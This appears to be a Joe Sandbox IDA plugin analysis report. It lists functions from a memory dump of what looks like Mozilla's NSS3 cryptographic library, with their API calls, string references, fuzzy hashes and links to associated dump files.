Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$AlgorithmPolicy
String ID:
API String ID: 644051021-0
Opcode ID: 1831ea28ce1473c1901848f9b4fe31796f36266690d477cb67f310fb1a256318
Instruction ID: 9109a637217ea9147b2a8c34c0e098d4e5a82b47d3b37d28cdfbf6a5f7647f31
Opcode Fuzzy Hash: 1831ea28ce1473c1901848f9b4fe31796f36266690d477cb67f310fb1a256318
Instruction Fuzzy Hash: E591D477A1D2E98BDF109B6CDC417983670DF4233CF24036AD866EBEE1E36195458362

Function 6CB00C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CB02C2A), ref: 6CB00C81

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

Part of subcall function 6CAD8500: SECOID_GetAlgorithmTag_Util.NSS3(6CAD95DC,00000000,00000000,00000000,?,6CAD95DC,00000000,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00CC4

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB00CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CB00D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CB00D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CB00D7D
free.MOZGLUE(00000000), ref: 6CB00DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00DC1
free.MOZGLUE(00000000), ref: 6CB00DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB00E0F

Part of subcall function 6CAD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD95E0
Part of subcall function 6CAD95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD95F5
Part of subcall function 6CAD95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CAD9609
Part of subcall function 6CAD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD961D
Part of subcall function 6CAD95C0: PK11_GetInternalSlot.NSS3 ref: 6CAD970B
Part of subcall function 6CAD95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CAD9756
Part of subcall function 6CAD95C0: PK11_GetIVLength.NSS3(?), ref: 6CAD9767
Part of subcall function 6CAD95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CAD977E
Part of subcall function 6CAD95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAD978E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 553a506b617271cf2e126c22c1165939e2598e3f40198a03f97337c79e0cdc9d
Instruction ID: c0e7bc7cbded0564194bcf8fca6101b1d626b146b20146e1a8c1ef04fb387274
Opcode Fuzzy Hash: 553a506b617271cf2e126c22c1165939e2598e3f40198a03f97337c79e0cdc9d
Instruction Fuzzy Hash: 7541C4B5A00296ABEB009F64ED45BAF7A74EF44308F140128ED1567741E735AA58CBF2

Function 6CA94FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA9502A
PR_NewLock.NSS3(00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA95034
PL_NewHashTable.NSS3(00000000,6CAEFE80,6CAEFD30,6CB3C350,00000000,00000000,00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA95055
PL_NewHashTable.NSS3(00000000,6CAEFE80,6CAEFD30,6CB3C350,00000000,00000000,?,00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA9506D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 576b85f5a852047888a1d6c09b127501c10ab32a7bbe78d7e305a6fbd0d22c93
Instruction ID: 0f223554030c237511bfcde8ad7526086ff40b4c0dc773416c00089c8785fec9
Opcode Fuzzy Hash: 576b85f5a852047888a1d6c09b127501c10ab32a7bbe78d7e305a6fbd0d22c93
Instruction Fuzzy Hash: 8C31F7B2A412A05BEB14DE69E80FB4B36B89B17749F150214E92583740D334C684CBE6

Function 6CA32E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA32F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CA32FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CA33005
memcpy.VCRUNTIME140(?,?,?), ref: 6CA330EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA33131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA33178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA33022, 6CA33156, 6CA33162, 6CA3318A, 6CA33196, 6CA331A2, 6CA331AE, 6CA331BA, 6CA331C6
%s at line %d of [%.10s], xrefs: 6CA33171
database corruption, xrefs: 6CA3316C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: ee0bffda17e9e477e6ea1cb387a44bbeb3b2f444baf7213394061d4e9109d58d
Instruction ID: 984955ff52bbf0293ad03e1982dfe430c4cb5e7c8cc6be66177a150476cfc848
Opcode Fuzzy Hash: ee0bffda17e9e477e6ea1cb387a44bbeb3b2f444baf7213394061d4e9109d58d
Instruction Fuzzy Hash: F5B1A470E092259BCF08CF9DC895AEEB7B1BF48304F245169E849F7B45D3749982CBA0

Function 6CAC6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CAC6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6CA3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAC6CD5

Strings

pMechanism = 0x%p, xrefs: 6CAC6CD0
(CK_INVALID_HANDLE), xrefs: 6CAC6C9C
hSession = 0x%x, xrefs: 6CAC6C7E, 6CAC6C8E
C_DigestInit, xrefs: 6CAC6C61

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 60e6a8c50ab73c9a3707f95f4d0ced06eea5d30e7c0b6668baed6a449a960d1a
Instruction ID: 2248c6aa234eafeee249c4c1d00b02805e5857ce2940833fe4239e7199b636c4
Opcode Fuzzy Hash: 60e6a8c50ab73c9a3707f95f4d0ced06eea5d30e7c0b6668baed6a449a960d1a
Instruction Fuzzy Hash: 3321F5357011949BDB00DB64FE88BAE37B5EB42328F484029E81A97B11DF309D8CCB97

Function 6CA90F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA90F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA90F84

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CAAF59B,6CBB890C,?), ref: 6CA90FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CA90FC1

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CA90FDB
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA90FEF
PL_FreeArenaPool.NSS3(?), ref: 6CA91001
PL_FinishArenaPool.NSS3(?), ref: 6CA91009

Strings

security, xrefs: 6CA90F5C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 473eb7ad2a5045e6b72ed11c60efd40d2a76273aabe888af1fdd73de4cc928ea
Instruction ID: 2eeb749b59be57c111f2189f4dd64e02386804a8dd8e16e9fe0fa30c374809e3
Opcode Fuzzy Hash: 473eb7ad2a5045e6b72ed11c60efd40d2a76273aabe888af1fdd73de4cc928ea
Instruction Fuzzy Hash: EA21D5B5904344ABE7009F24DD41AAEB7B8EF48658F048519FC6897701F731D69ACBD2

Function 6CBA2AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBA2AE8
strdup.MOZGLUE(00000000), ref: 6CBA2AFA
PR_ExitMonitor.NSS3 ref: 6CBA2B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6CBA2B1E
strdup.MOZGLUE(.;\lib), ref: 6CBA2B32
PR_ExitMonitor.NSS3 ref: 6CBA2B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBA2B59

Strings

LD_LIBRARY_PATH, xrefs: 6CBA2B19
.;\lib, xrefs: 6CBA2B29, 6CBA2B31

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: 660dfe4739d3de0bced49276c51a6ca0d54785f51579a110284ac9200f107778
Instruction ID: 18eaaf1a73cabd32774c4fa6974ef96f61cdae1c1d40b870e8819029eb28706a
Opcode Fuzzy Hash: 660dfe4739d3de0bced49276c51a6ca0d54785f51579a110284ac9200f107778
Instruction Fuzzy Hash: CC0184F5F041A167DA106BA5BD05B5A3778DB1265DF480530E80E97B11FB22D8298693

Function 6CB2AB00 Relevance: 15.3, APIs: 10, Instructions: 293memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB2A6D0: PORT_ZAlloc_Util.NSS3(00000A38,00000000,?,6CB280C1), ref: 6CB2A6F9
Part of subcall function 6CB2A6D0: memcpy.VCRUNTIME140(00000210,6CBF0BEC,0000011C), ref: 6CB2A869

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,?,6CB280AD), ref: 6CB2AB48

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PORT_Strdup_Util.NSS3(?,?,?,?,?,6CB280AD), ref: 6CB2AB8E
PORT_Strdup_Util.NSS3(?,?,?,?,?,6CB280AD), ref: 6CB2ABA7
memcpy.VCRUNTIME140(?,00000210,0000011C,?,?,?,?,6CB280AD), ref: 6CB2ABFE
memcpy.VCRUNTIME140(?,000006AA,?,?,?,?,?,?,?,?,6CB280AD), ref: 6CB2AC1C
memcpy.VCRUNTIME140(?,000006C0,?,?,?,?,?,?,?,?,?,?,?,6CB280AD), ref: 6CB2AC48

Part of subcall function 6CB25BC0: PR_EnterMonitor.NSS3(8B105D8B,?,?,6CB280E3,00000000), ref: 6CB25BD6
Part of subcall function 6CB25BC0: PR_EnterMonitor.NSS3(840FC085,?,?,6CB280E3,00000000), ref: 6CB25BED
Part of subcall function 6CB25BC0: PR_EnterMonitor.NSS3(07890478,?,?,6CB280E3,00000000), ref: 6CB25C04
Part of subcall function 6CB25BC0: PR_EnterMonitor.NSS3(000000F4,?,?,6CB280E3,00000000), ref: 6CB25C1B
Part of subcall function 6CB25BC0: PR_Unlock.NSS3(0140BCE8,?,?,6CB280E3,00000000), ref: 6CB25C4C
Part of subcall function 6CB25BC0: PR_Unlock.NSS3(08C48300,?,?,6CB280E3,00000000), ref: 6CB25C5F
Part of subcall function 6CB25BC0: PR_ExitMonitor.NSS3(8B105D8B,?,?,6CB280E3,00000000), ref: 6CB25C76
Part of subcall function 6CB25BC0: PR_ExitMonitor.NSS3(840FC085,?,?,6CB280E3,00000000), ref: 6CB25C8D
Part of subcall function 6CB25BC0: PR_ExitMonitor.NSS3(07890478,?,?,6CB280E3,00000000), ref: 6CB25CA4
Part of subcall function 6CB25BC0: PR_ExitMonitor.NSS3(000000F4,?,?,6CB280E3,00000000), ref: 6CB25CBB

PORT_ZAlloc_Util.NSS3(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB280AD), ref: 6CB2ACED

Part of subcall function 6CAF0D30: calloc.MOZGLUE ref: 6CAF0D50
Part of subcall function 6CAF0D30: TlsGetValue.KERNEL32 ref: 6CAF0D6D

PORT_ZAlloc_Util.NSS3(0000001C,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB280AD), ref: 6CB2AD52
SECKEY_CopyPrivateKey.NSS3(?), ref: 6CB2AEE5
SECKEY_CopyPublicKey.NSS3(?), ref: 6CB2AEFC

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$Util$memcpy$Alloc_EnterExit$Copy$Strdup_Unlock$ArenaItem_PrivatePublicValuecalloc
String ID:
API String ID: 3422837898-0
Opcode ID: 85cc5416a763968eb51b84c2a7253d6907210f3b63f398a93b591fc88fe9c75d
Instruction ID: ef98f2131c6327264f42221eadf572d1b03195be9ad6ff0c864a0e0e79e5162b
Opcode Fuzzy Hash: 85cc5416a763968eb51b84c2a7253d6907210f3b63f398a93b591fc88fe9c75d
Instruction Fuzzy Hash: 4DD1D3B4A016428FDB44CF68C984BE5B7E5FB48314F1882B9DC1C9B746E734A994CFA1

Function 6CA96DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CA97D8F,6CA97D8F,?,?), ref: 6CA96DC8

Part of subcall function 6CAEFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CAEFE08
Part of subcall function 6CAEFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CAEFE1D
Part of subcall function 6CAEFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CAEFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CA97D8F,?,?), ref: 6CA96DD5

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FA0,00000000,?,?,?,?,6CA97D8F,?,?), ref: 6CA96DF7

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA96E35

Part of subcall function 6CAEFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CAEFE29
Part of subcall function 6CAEFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CAEFE3D
Part of subcall function 6CAEFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CAEFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA96E4C

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FE0,00000000), ref: 6CA96E82

Part of subcall function 6CA96AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CA9B21D,00000000,00000000,6CA9B219,?,6CA96BFB,00000000,?,00000000,00000000,?,?,?,6CA9B21D), ref: 6CA96B01
Part of subcall function 6CA96AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA96B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA96F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA96F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBB8FE0,00000000), ref: 6CA96F6B
PR_SetError.NSS3(FFFFE005,00000000,6CA97D8F,?,?), ref: 6CA96FE1

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: af44f848594069048d7a6200c5502a40d9607f67c35e241f48d2cd3fc4ea68a3
Instruction ID: 5ee2997fff37f9d68b84ad98174a70a564085b43ab71514ee8548f9ba7b703a4
Opcode Fuzzy Hash: af44f848594069048d7a6200c5502a40d9607f67c35e241f48d2cd3fc4ea68a3
Instruction Fuzzy Hash: E4717D71D202569BDB40CF15CD41AAABBE4BF98308F194229E809D7B11E771EAD8CBD0

Function 6CAD0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAD1085
PK11_GetAllTokens.NSS3 ref: 6CAD10B1
free.MOZGLUE(?), ref: 6CAD1107
PR_SetError.NSS3(00000000,00000000), ref: 6CAD1172
free.MOZGLUE(?), ref: 6CAD1182
free.MOZGLUE(?), ref: 6CAD11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CAD11C5

Part of subcall function 6CAD52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CAAEAC5,00000001), ref: 6CAD52DF
Part of subcall function 6CAD52C0: EnterCriticalSection.KERNEL32(?), ref: 6CAD52F3
Part of subcall function 6CAD52C0: PR_Unlock.NSS3(?), ref: 6CAD5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAD11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAD11F3

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d752f2cae898cd31581e064d28caa45b58ad54a1acdef5712ecd4bde0fe30bf1
Instruction ID: eb73e99a072570bbd7562c76cf8eb503d067d0bc72a2e18fac45163c7095ef64
Opcode Fuzzy Hash: d752f2cae898cd31581e064d28caa45b58ad54a1acdef5712ecd4bde0fe30bf1
Instruction Fuzzy Hash: 416184B4E003459BDB00DFA4DD41BAEB7B5AF08758F194128EA19AB741E731F984CB91

Function 6CAD4A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6CAD4A4B
PK11_GetInternalSlot.NSS3 ref: 6CAD4A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAD4AC6
TlsGetValue.KERNEL32 ref: 6CAD4B17
EnterCriticalSection.KERNEL32(?), ref: 6CAD4B2B
PR_Unlock.NSS3(?), ref: 6CAD4B77
PK11_FreeSymKey.NSS3(?), ref: 6CAD4B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAD4B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAD4BA9
PR_SetError.NSS3(00000000,00000000), ref: 6CAD4BC1

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
